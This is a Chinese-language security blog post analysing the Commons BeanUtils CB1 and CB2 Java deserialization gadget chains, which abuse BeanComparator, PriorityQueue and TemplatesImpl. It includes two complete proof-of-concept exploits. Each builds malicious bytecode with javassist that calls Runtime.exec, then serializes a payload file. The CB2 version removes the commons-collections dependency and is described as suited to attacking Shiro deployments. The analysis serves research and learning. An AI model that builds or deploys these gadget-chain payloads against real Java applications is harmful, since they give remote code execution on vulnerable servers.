java安全-CB1&CB2无依赖CC链学习与分析
2023-03-22 16:30:00

0x00、前言

到Commons BeanUtils组件利用链分析,主要是CB1链以及CB1链无依赖CC组件形成的CB2链的分析

0x01、CommonsBeanutils描述

Apache Commons BeanUtils 是一个 Java 库,作为更大的 Apache Commons 项目的一部分。它提供了一组实用方法和类,用于操作 Java Bean。Java Bean 是一种遵循特定命名约定的 Java 类,具有一组属性和访问它们的 getter 和 setter 方法。

Commons BeanUtils 主要功能包括:

动态操作 Java Bean 属性:通过使用 Java 反射和内省机制,BeanUtils 允许你在运行时动态地访问和修改 Java Bean 的属性。
数据类型转换:BeanUtils 提供了一组用于在各种数据类型之间进行转换的实用方法,例如将字符串转换为整数、浮点数等。
自动填充 Java Bean:通过将一个对象的属性值复制到另一个对象,BeanUtils 可以用于自动填充 Java Bean,从而简化了数据传输对象 (DTO) 和领域模型之间的转换工作。
动态创建 Java Bean 实例:BeanUtils 提供了实例化类的方法,而无需显式地调用构造函数。
支持嵌套属性:BeanUtils 支持访问嵌套属性,这意味着你可以访问和操作一个 Bean 中的另一个 Bean 的属性。

Commons BeanUtils 库在许多 Java 应用程序和框架中广泛使用,例如 Apache Struts 和 Spring Framework。它可以简化代码,提高开发效率,并有助于降低维护成本。

0x02、前置知识

templates、PriorityQueue

templates字节码、PriorityQueue优先级队列的相关知识在cc2中写过了,回顾cc2

BeanComparator

CommonsBeanutils组件的类

官方定义的作用:此比较器通过指定的bean属性比较两个bean。还可以基于嵌套的、索引的、组合的、映射的bean属性来比较bean。

也就是Bean的比较器,其中Bean理解为通过getter/setter方式获取和赋值成员变量的类。

主要作用是通过property字段属性来比较bean方法中返回属性,其中会通过getter/setter来获取property属性对应的get/set前缀的方法,并通过反射执行

获取bean property属性后,在进行compare比较。

0x03、CB1分析

CB1核心就是使用CC2链,改变了触发入口点,将比较器改为了BeanComparator

漏洞版本

commons-beanutils=1.9.2
commons-collections<=3.2.1

利用环境

<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

分析

核心通过templates加载字节码,然后设置property属性,通过BeanComparator比较器的getter/setter读取property属性并反射执行。

我这里是已经构造好POC执行,然后分析的流程,先分析过程,再最后构造POC。

跟进BeanComparator比较器,存在propertycomparator两个成员属性,分别代表’用于比较方法的属性名’、’比较器’

跟进compare方法,先是判断property属性是否存在,不存在就直接比较两个对象(这里传入的比较对象包括了templates对象)

property属性存在,则通过getProperty方法getter/setter获取对象property真实属性

继续跟进getProperty查看流程,调用PropertyUtilsBean.getProperty,继续跟进

接着调用getNestedProperty进入获取嵌套Property属性方法

由于传入的Property属性为普通的属性,不属于嵌套形式,因此会跳出while循环获取嵌套内容

然后判断bean的属性,由于bean(templates类对象)不属于map,并且nameProperty属性)也不属于mapindex类型,最后调用getSimpleProperty方法获取真实属性

跟进getSimpleProperty,又是同一个判断步骤,继续往下

多了个判断判断是否是动态bean类型,不属于,进入下一个代码段

通过getPropertyDescriptor方法获取真实属性Property

跟进getPropertyDescriptor方法,开头又是同一个判断,直接到下面代码段

通过getDescriptor方法getter/setter获取name在对象中的真实属性



读取到真实方法名过后进行对对象进行方法反射调用


执行templatesgetOutputProperties方法触发漏洞

剩下的就是如何将templates对象传入BeanComparator构造器的步骤了,这里就是CC2后半段的一部分,在构造POC中简述

简述下触发流程:
需要构造property属性为getOutputProperties/newTransformer()方法,然后将templates对象传入compare方法作为对象进行比较,然后BeanComparator构造器通过getter/setter获取对象的真实property属性再进行反射执行触发漏洞

构造POC

首先cc2中的templates字节码构造没变化

//创建CtClass对象容器
ClassPool pool2 = ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct = pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2 = ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates, "_bytecodes", bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates, "_class", null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates, "_name", "test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());

然后调用BeanComparator构造器,并且通过反射将BeanComparator构造器的property属性设置为getOutputProperties/newTransformer()方法

BeanComparator beanComparator = new BeanComparator();
setFieldValue(beanComparator,"property","outputProperties");

接着就是cc2后半段,利用PriorityQueue优先级队列将BeanComparator构造器作为比较器,来调用BeanComparator.compare方法

//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",beanComparator);
//设置传递的队列元素,需要将templates对象传入
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(pq,"queue",list);

原理:
PriorityQueue重写了反序列化步骤,调用heapify();

条件要求size大于2(详情查看cc2后半段分析),才能调用siftDown方法

接着调用siftDownUsingComparator方法

这里会调用comparator.compare方法,通过反射setFieldValue(pq,"comparator",beanComparator);设置了比较器,因此会调用到beanComparator.compare方法进入上述分析的步骤

完整POC

最后加上反序列化步骤就构成了完整的poc:

public class cb1Test {
public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2 = ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct = pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2 = ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates, "_bytecodes", bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates, "_class", null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates, "_name", "test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());

BeanComparator beanComparator = new BeanComparator();
//设置getOutputProperties/newTransformer均可
setFieldValue(beanComparator,"property","outputProperties");
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",beanComparator);
//设置传递的队列元素,需要将templates对象传入
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(pq,"queue",list);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb1payload.ser"));
outputStream.writeObject(pq);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb1payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

0x04、CB2分析

利用版本

commons-beanutils=1.9.2
commons-beanutils=1.8.3

利用环境

<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>

CB1依赖问题

在CB1中,调用的BeanComparator类,是直接进行声明对象调用的

BeanComparator beanComparator = new BeanComparator();

该调用方式直接调用BeanComparator的无参构造方式,无参构造方式又会传递个null值去调用带一个参数的构造方法,该方法又会调用ComparableComparator.getInstance()方法去调用public BeanComparator( String property, Comparator<?> comparator )的构造方法

其中调用ComparableComparator.getInstance(),调用的ComparableComparator类为commons-collections组件的类,意味着CB1链是依赖于CC组件的,如果目标环境不存在CC组件那么就无法使用CB1链

因此CB2链的核心变动就是BeanComparator类的声明方式,规避使用到ComparableComparator类作为comparator比较器,因此只需要替换一下comparator比较器,找一个java自带或者cb组件自带的实现了comparator和序列化的比较器类即可

CB2分析

示例AttrCompare类,实现了comparator和序列化

同时不用关注该类下面的调用方法,因为BeanComparator类的触发为BeanComparator.compare方法中getter/setter获取对象方法进行反射调用

因此只需要将上面的代码BeanComparator类的声明方式换成

BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());

其他条件不用变化,跟进查看执行,这里调用BeanComparator类会直接调用BeanComparator( String property, Comparator<?> comparator )的构造方法,赋值comparator后直接跳过了调用ComparableComparator.getInstance()的步骤

再到调用compare方法

后面在CB1分析过了,同样的步骤,通过getter/setter获取对象方法,再通过反射调用执行该方法触发漏洞

POC

得到的POC,BeanComparator构造参数的AttrCompare类换为其他实现comparator和序列化的无依赖组件均可

public class cb2Test {
public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2 = ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct = pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2 = ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode = ct.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates = TemplatesImpl.class.getDeclaredConstructor().newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates, "_bytecodes", bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates, "_class", null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates, "_name", "test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.getDeclaredConstructor().newInstance());

BeanComparator beanComparator = new BeanComparator(null, new AttrCompare());
setFieldValue(beanComparator,"property","outputProperties");
//设置优先级队列对象
PriorityQueue pq=new PriorityQueue(2);
//设置size大小,满足大于2的条件
setFieldValue(pq,"size",2);
//设置比较器
setFieldValue(pq,"comparator",beanComparator);
//设置传递的队列元素,需要将templates对象传入
Object[] list=new Object[]{templates,1};
//向PriorityQueue队列添加元素
setFieldValue(pq,"queue",list);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cb1payload.ser"));
outputStream.writeObject(pq);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cb1payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}

}
//通过反射给对象属性赋值,避免代码冗余繁琐
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

0x05、总结

总体来说就是CC2(templates+链转换器+PriorityQueue)利用将入口点改变为调用BeanComparator类,在BeanComparator类进行compare比较时,会调用getter/setter javabean去获取比较对象的方法,若存在get/set对应的方法,则通过反射执行该类的该方法,其中CB1链会依赖CC组件环境,CB2将BeanComparator类调用进行了赋值comparator比较器,规避了调用CC组件的comparator比较器,因此实现了无依赖cc环境,可主要用于shiro环境的漏洞攻击

0x06、参考链接

java漫谈
https://blog.csdn.net/qq_45449318/article/details/128571962
https://mp.weixin.qq.com/s/3zvJucvcStoJMgvawkp55w